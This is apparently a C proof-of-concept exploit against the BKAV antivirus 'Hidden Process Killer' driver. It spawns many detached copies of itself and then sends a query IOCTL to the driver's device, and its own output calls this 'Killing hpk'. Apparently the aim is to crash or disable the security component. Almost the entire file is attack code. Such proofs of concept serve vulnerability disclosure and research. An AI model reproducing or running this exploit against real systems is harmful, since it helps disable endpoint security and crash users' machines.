/**
* BKAV Hidden Process Killer Killer (hpk-killer)
* Copyright 2008 Blue Moon Consulting
*/
#include <stdlib.h>
#include <stdio.h>
#include <process.h>
#include <windows.h>

#define HPK_DEVICE_NAME "\\\\.\\hpk"
#define IOCTL_HPK_QUERY_PROCESSES 0x80106004
#define PROCESS_ID_ARRAY_SIZE 0x200

static void QueryProcesses(void)
{
HANDLE hFile;
DWORD dwReturn;
DWORD buffer[PROCESS_ID_ARRAY_SIZE];

hFile = CreateFile(HPK_DEVICE_NAME, 1, 1, 0, 3, 0x80, 0);
if (hFile != INVALID_HANDLE_VALUE)
{
printf("Querying processes");
DeviceIoControl(hFile, IOCTL_HPK_QUERY_PROCESSES, 0, 0, buffer, PROCESS_ID_ARRAY_SIZE, &dwReturn, 0);
CloseHandle(hFile);
}
}

int main(int argc, char **argv)
{
int i, count;

if (argc < 2)
{
printf("Usage: %s <number_of_processes>\n", argv[0]);
sleep(60 * 1000);
}
else
{
count = atoi(argv[1]);
printf("Spawning %d processes...\n", count);
for (i = 0; i < count; i++)
{
spawnl(P_DETACH, argv[0], argv[0], NULL);
}
printf("Killing hpk...\n");
QueryProcesses();
}
}